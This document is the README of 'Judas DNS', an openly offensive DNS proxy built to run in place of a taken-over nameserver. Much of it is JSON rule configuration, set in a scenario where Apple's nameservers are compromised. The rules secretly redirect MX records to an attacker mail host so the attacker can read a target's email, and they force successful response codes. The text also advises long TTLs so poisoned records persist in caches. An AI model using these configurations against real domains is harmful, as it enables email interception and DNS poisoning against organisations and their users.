Judas DNS
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Nameserver DNS poisoning attacks made easy
A DNS proxy server built to be deployed in place of a taken over nameserver to perform targeted exploitation. Judas works by proxying all DNS queries to the legitimate nameservers for a domain. The magic comes with Judas's rule configurations which allow you to change DNS responses depending on source IP or DNS query type. This allows an attacker to configure a malicious nameserver to do things like selectively re-route inbound email coming from specified source IP ranges (via modified MX records), set extremely long TTLs to keep poisoned records cached, and more.
How Do I Take Over a Nameserver?
For more information on taking over nameservers and hijacking DNS, see the following blog post titled "Respect My Authority β Hijacking Broken Nameservers to Compromise Your Target".
Example Config
The following is an example configuration for Judas for an example scenario where an attacker has comprimised/taken over one of Apple's authoritative nameservers (for apple.com):
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}The above configuration value purposes are the following:
version: The configuration file format version (for now is always1.0.0).port: The port Judas should run on.dns_query_timeout: How long to wait in milliseconds before giving up on a reply from the upstream target nameserver.target_nameservers: The legit nameservers for your target domain, all DNS queries will be sent here from Judas on behalf of all requesting clients.rules: A list of rules with modifications to the DNS response to apply if matched.name: Name of a given rule.query_type_matches: List of query types to match on such asCNAME,A, etc. A wildcard (*) can also be specified to match any query type.ip_range_matches: List of IP ranges to match on. For selectively spoofing responses to a specific range of IPs.modifications: See the "Modifications" section of this README.
Modifications
Judas's rules come with a modifications specification which is set to a list of varying modifications to make to the DNS response before it is sent back to the client. It is important that you read the node-dns documentation to understand the DNS response structure so you can modify it.
An example DNS response format is the following:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...trimmed for brevity...
(For more information on the DNS response data structure see this documentation.)
Writing a modification is very simple, an example rule with modification can be seen below:
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}The above rule matches any query type (due to the wildcard (*)) and sets the header.rcode value of the DNS response to 0. Whatever object is set as a modification element is merged into the DNS response - replacing whatever value was originally set.
Another example is the following:
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}The above rule matches any MX query from 127.0.0.1. The DNS response answer is overwritten with a single MX record for hacktheplace.localhost. A real world implementation of this would be to redirect inbound emails from a specific IP in order to read private emails of your target. Additionally an attacker in a real world scenario may also choose to modify the response TTL to be a very high value in order to persist their malicious records in client DNS caches as long as possible.
Rule Match Types
Requester IP
The following rule will match on a client's IP address:
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}The ip_range_matches field is set to an array of IP ranges which specify the target ranges to apply the response modification to. Omission of this field is equivalent to a wildcard and will match all client IP addresses.
Request Query Type
The following rule will match on a query type of MX and CNAME and apply a response modification accordingly:
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}The query_type_matches field is set to an array of query types to match against. Omission of this field is equivalent to a wildcard and will match all query types.
Response Status Code
The following rule with match on a response code of NXDOMAIN and will apply a response modification accordingly:
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}The response_code_matches field is set to an array of response codes to match against. Omission of this field is equivalent to a wildcard and will match all RCODE types.